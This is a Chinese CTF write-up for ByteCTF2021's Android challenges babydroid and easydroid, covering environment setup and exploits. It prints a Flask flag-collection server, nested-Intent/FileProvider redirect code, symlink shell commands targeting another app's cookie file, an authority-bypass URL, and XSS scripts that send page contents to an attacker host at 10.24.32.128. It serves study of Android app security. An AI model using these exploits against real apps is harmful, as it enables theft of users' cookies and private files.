Android Security学习之ByteCTF2021_mobile 环境搭建+前两道题Writeup
字数 2090 2025-08-22 12:23:30

Android Security学习:ByteCTF2021_mobile环境搭建与题目解析

环境搭建

系统要求

  • 操作系统:Ubuntu 18.04
  • 需要开启CPU虚拟化支持

准备工作

  1. 安装Docker
  2. 准备Flask服务器用于接收flag

Flask服务器代码

from flask import Flask, request, send_from_directory
import os

app = Flask(__name__, static_folder='dist')

@app.route("/")
def hello():
    return "hello world"

# URL参数解析
@app.route('/getUrlParam')
def getUrlParam():
    flag = request.args["msg"]
    with open("./flag.sql", 'w') as f:
        f.write(flag)
    s = "flag: %s" % flag
    print(s)
    return s

@app.route('/test')
def test():
    print("test")
    return app.send_static_file('test.html')

# easydroid XSS
@app.route('/exp.html')
def ret_exp():
    print('exp.html')
    return app.send_static_file('exp.html')

@app.route('/easydroid.html')
def ret_easydroid():
    print('easydroid.html')
    return app.send_static_file('easydroid.html')

# pwn.apk下载
@app.route('/download/<filename>', methods=['GET'])
def download(filename):
    if request.method == "GET":
        path = os.path.isfile(os.path.join(app.config['DOWNLOAD_FOLDER'], filename))
        if path:
            return send_from_directory(app.config['DOWNLOAD_FOLDER'], filename, as_attachment=True)

if __name__ == "__main__":
    app.config['DOWNLOAD_FOLDER'] = 'dist/download/'
    app.run(host='0.0.0.0', port=5000)

运行步骤

  1. ~/ByteCTF2021_Android/babydroid/src_babydroid目录下执行run.sh脚本生成babydroid容器

    sudo bash run.sh
    
    • 下载镜像需要10-15分钟
    • 镜像中包含Android虚拟环境
  2. 进入babydroid容器,在/challeng目录下执行server.py文件

    python3 server.py
    
    • 容器中会自动在emulator中执行pwn.apk
    • 发动攻击并传出flag
  3. 在Flask服务器上接收传出的flag

常见问题解决

  1. CPU虚拟化问题

    • 确保BIOS中开启CPU虚拟化
    • 如果使用WSL并开启了Hyper-V,可能导致VMware无法直接访问物理层
  2. ADB端口问题

    • 在启动脚本中修改ADB_PORT,否则无法建立HTTP连接

babydroid题目解析

漏洞点分析

  1. FlagReceiver.java

    public void onReceive(Context context, Intent intent) {
        String flag = intent.getStringExtra("flag");
        if (flag != null){
            File file = new File(context.getFilesDir(), "flag");
            writeFile(file, flag);
            Log.e("FlagReceiver", "received flag.");
        }
    }
    
    • 接收广播并将flag写入/data/user/0/com.bytectf.babydroid/files/flag
  2. Vulnerable.java中的Intent重定向漏洞

    public class Vulnerable extends Activity {
        @Override
        protected void onCreate(@Nullable Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            Intent intent = getIntent().getParcelableExtra("intent");
            startActivity(intent);
        }
    }
    
    • 将Intent中的Extra属性值反序列化为新Intent并执行
    • 允许构造嵌套Intent进行攻击
  3. FileProvider配置问题

    <provider
        android:name="androidx.core.content.FileProvider"
        android:authorities="androidx.core.content.FileProvider"
        android:grantUriPermissions="true"
        android:exported="false">
        <meta-data
            android:name="android.support.FILE_PROVIDER_PATHS"
            android:resource="@xml/file_paths" />
    </provider>
    
    • grantUriPermissions="true"允许临时授权
    • file_paths.xml配置了根目录访问权限

攻击思路

  1. 构造嵌套Intent:

    • 外层Intent跳转到Vulnerable Activity
    • 内层Intent设置文件URI和读写权限
  2. 利用FileProvider临时授权:

    • 通过Intent.FLAG_GRANT_READ_URI_PERMISSION授予读取权限
    • 访问目标应用的flag文件
  3. 通过HTTP传出flag

攻击代码示例

// 构造内层Intent
Intent evil = new Intent("evil");
evil.setClass(this, MainActivity.class);
evil.setData(Uri.parse("content://androidx.core.content.FileProvider/root/data/data/com.bytectf.babydroid/files/flag"));
evil.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);

// 构造外层Intent
Intent intent = new Intent();
intent.setClassName("com.bytectf.babydroid", "com.bytectf.babydroid.Vulnerable");
intent.putExtra("intent", evil);

// 读取flag并传出
InputStream inputStream = getContentResolver().openInputStream(getIntent().getData());
String s = Base64.encodeToString(IOUtils.toString(inputStream).getBytes("UTF-8"), Base64.DEFAULT).replaceAll("\n", "");
httpGet(s);

关键知识点

  1. Intent组件跳转

    • 显式Intent与隐式Intent
    • Intent的Extra数据传递
  2. FileProvider权限控制

    • 临时权限授予机制
    • 文件路径配置

easydroid题目解析

漏洞点分析

  1. FlagReciever.java

    public void onReceive(Context context, Intent intent) {
        String flag = intent.getStringExtra("flag");
        if (flag != null){
            try {
                flag = Base64.encodeToString(flag.getBytes("UTF-8"), Base64.DEFAULT);
                CookieManager cookieManager = CookieManager.getInstance();
                cookieManager.setCookie("https://tiktok.com/", "flag=" + flag);
                Log.e("FlagReceiver", "received flag.");
            } catch (UnsupportedEncodingException e) {
                e.printStackTrace();
            }
        }
    }
    
    • 将flag存入Cookies中
    • Cookies存储在/data/data/com.bytectf.easydroid/app_webview/Cookies
  2. MainActivity.java中的WebView漏洞

    if (data.getAuthority().contains("toutiao.com") && data.getScheme().equals("http")){
        WebView webView = new WebView(getApplicationContext());
        webView.setWebViewClient(new WebViewClient(){
            @Override
            public boolean shouldOverrideUrlLoading(WebView view, String url) {
                Uri uri = Uri.parse(url);
                if (uri.getScheme().equals("intent")){
                    try {
                        startActivity(Intent.parseUri(url, 1));
                    } catch (URISyntaxException e) {
                        e.printStackTrace();
                    }
                    return true;
                }
                return super.shouldOverrideUrlLoading(view, url);
            }
        });
        setContentView(webView);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.loadUrl(data.toString());
    }
    
    • URL验证不严格(使用contains而非equals)
    • 存在Intent重定向漏洞
    • WebView默认开启JavaScript和文件访问
  3. TestActivity.java

    protected void onCreate(@Nullable Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        String url = getIntent().getStringExtra("url");
        WebView webView = new WebView(getApplicationContext());
        setContentView(webView);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.loadUrl(url);
    }
    
    • 不导出的Activity
    • WebView配置存在风险

攻击思路

  1. 创建指向Cookies文件的软链接
  2. 通过Intent重定向绕过URL检查
  3. 使用XSS攻击注入恶意脚本
  4. 通过WebView渲染Cookies文件执行脚本
  5. 脚本将flag内容通过HTTP传出

攻击步骤

  1. 创建软链接

    private String symlink() {
        try {
            String root = getApplicationInfo().dataDir;
            String symlink = root + "/symlink.html";
            String cookies = getPackageManager().getApplicationInfo("com.bytectf.easydroid", 0).dataDir + "/app_webview/Cookies";
            Runtime.getRuntime().exec("rm " + symlink).waitFor();
            Runtime.getRuntime().exec("ln -s " + cookies + " " + symlink).waitFor();
            Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor();
            return symlink;
        } catch (Throwable th) {
            throw new RuntimeException(th);
        }
    }
    
  2. 构造恶意Intent

    Intent intent = new Intent();
    intent.setClassName("com.bytectf.easydroid", "com.bytectf.easydroid.MainActivity");
    intent.setData(Uri.parse("http://toutiao.com@10.24.32.128:5000/easydroid.html"));
    startActivity(intent);
    
  3. XSS注入脚本(easydroid.html)

    <script>
    function sleep(ms) {
        return new Promise(resolve => setTimeout(resolve, ms))
    }
    sleep(1000).then(() => {
        location.href = "intent:#Intent;component=com.bytectf.easydroid/.TestActivity;S.url=http%3A%2F%2F10.24.32.128:5000%2Fexp.html;end";
        sleep(40000).then(() => {
            location.href = "intent:#Intent;component=com.bytectf.easydroid/.TestActivity;S.url=file%3A%2F%2F%2Fdata%2Fdata%2Fcom.bytectf.pwneasydroid%2Fsymlink.html;end";
        })
    })
    </script>
    
  4. 恶意脚本(exp.html)

    <script>
    document.cookie = "x = ''";
    </script>
    
    • 解码后脚本:new Image().src = "http://10.24.32.128:5000/getUrlParam?msg=" + encodeURIComponent(document.getElementsByTagName("html")[0].innerHTML);

关键知识点

  1. Intent重定向

    • 通过WebView的shouldOverrideUrlLoading实现
    • 绕过Activity导出限制
  2. WebView安全

    • setAllowFileAccess和setJavaScriptEnabled的风险组合
    • CookieManager的使用
  3. XSS攻击

    • 通过Cookie注入脚本
    • 使用base64编码绕过保护机制

常见问题解答

  1. 为什么需要TestActivity来渲染exp.html和symlink.html?

    • MainActivity对URL scheme有限制(file://无法通过检查)
    • TestActivity没有导出,必须通过Intent重定向访问
  2. 恶意js代码为什么需要btoa加密?

    • 防止特殊字符被截断或转义
    • 绕过可能的保护机制
  3. 为什么可以将其他app的文件软链接到自己的文件夹?

    • 软链接本身没有安全问题
    • 关键看目标文件的权限和访问控制
    • 这里通过目标应用的TestActivity来访问,具有足够权限
  4. Intent跳转后新app的权限问题

    • Intent跳转不携带权限
    • 文件访问权限需要提前通过其他方式(如FileProvider)授予
    • 本案例中通过临时URI权限实现跨应用文件访问
Android Security学习:ByteCTF2021_ mobile环境搭建与题目解析 环境搭建 系统要求 操作系统:Ubuntu 18.04 需要开启CPU虚拟化支持 准备工作 安装Docker 准备Flask服务器用于接收flag Flask服务器代码 运行步骤 在 ~/ByteCTF2021_Android/babydroid/src_babydroid 目录下执行 run.sh 脚本生成babydroid容器 下载镜像需要10-15分钟 镜像中包含Android虚拟环境 进入babydroid容器,在 /challeng 目录下执行 server.py 文件 容器中会自动在emulator中执行pwn.apk 发动攻击并传出flag 在Flask服务器上接收传出的flag 常见问题解决 CPU虚拟化问题 : 确保BIOS中开启CPU虚拟化 如果使用WSL并开启了Hyper-V,可能导致VMware无法直接访问物理层 ADB端口问题 : 在启动脚本中修改ADB_ PORT,否则无法建立HTTP连接 babydroid题目解析 漏洞点分析 FlagReceiver.java : 接收广播并将flag写入 /data/user/0/com.bytectf.babydroid/files/flag Vulnerable.java中的Intent重定向漏洞 : 将Intent中的Extra属性值反序列化为新Intent并执行 允许构造嵌套Intent进行攻击 FileProvider配置问题 : grantUriPermissions="true" 允许临时授权 file_paths.xml 配置了根目录访问权限 攻击思路 构造嵌套Intent: 外层Intent跳转到Vulnerable Activity 内层Intent设置文件URI和读写权限 利用FileProvider临时授权: 通过Intent.FLAG_ GRANT_ READ_ URI_ PERMISSION授予读取权限 访问目标应用的flag文件 通过HTTP传出flag 攻击代码示例 关键知识点 Intent组件跳转 : 显式Intent与隐式Intent Intent的Extra数据传递 FileProvider权限控制 : 临时权限授予机制 文件路径配置 easydroid题目解析 漏洞点分析 FlagReciever.java : 将flag存入Cookies中 Cookies存储在 /data/data/com.bytectf.easydroid/app_webview/Cookies MainActivity.java中的WebView漏洞 : URL验证不严格(使用contains而非equals) 存在Intent重定向漏洞 WebView默认开启JavaScript和文件访问 TestActivity.java : 不导出的Activity WebView配置存在风险 攻击思路 创建指向Cookies文件的软链接 通过Intent重定向绕过URL检查 使用XSS攻击注入恶意脚本 通过WebView渲染Cookies文件执行脚本 脚本将flag内容通过HTTP传出 攻击步骤 创建软链接 : 构造恶意Intent : XSS注入脚本(easydroid.html) : 恶意脚本(exp.html) : 解码后脚本: new Image().src = "http://10.24.32.128:5000/getUrlParam?msg=" + encodeURIComponent(document.getElementsByTagName("html")[0].innerHTML); 关键知识点 Intent重定向 : 通过WebView的shouldOverrideUrlLoading实现 绕过Activity导出限制 WebView安全 : setAllowFileAccess和setJavaScriptEnabled的风险组合 CookieManager的使用 XSS攻击 : 通过Cookie注入脚本 使用base64编码绕过保护机制 常见问题解答 为什么需要TestActivity来渲染exp.html和symlink.html? MainActivity对URL scheme有限制(file://无法通过检查) TestActivity没有导出,必须通过Intent重定向访问 恶意js代码为什么需要btoa加密? 防止特殊字符被截断或转义 绕过可能的保护机制 为什么可以将其他app的文件软链接到自己的文件夹? 软链接本身没有安全问题 关键看目标文件的权限和访问控制 这里通过目标应用的TestActivity来访问,具有足够权限 Intent跳转后新app的权限问题 : Intent跳转不携带权限 文件访问权限需要提前通过其他方式(如FileProvider)授予 本案例中通过临时URI权限实现跨应用文件访问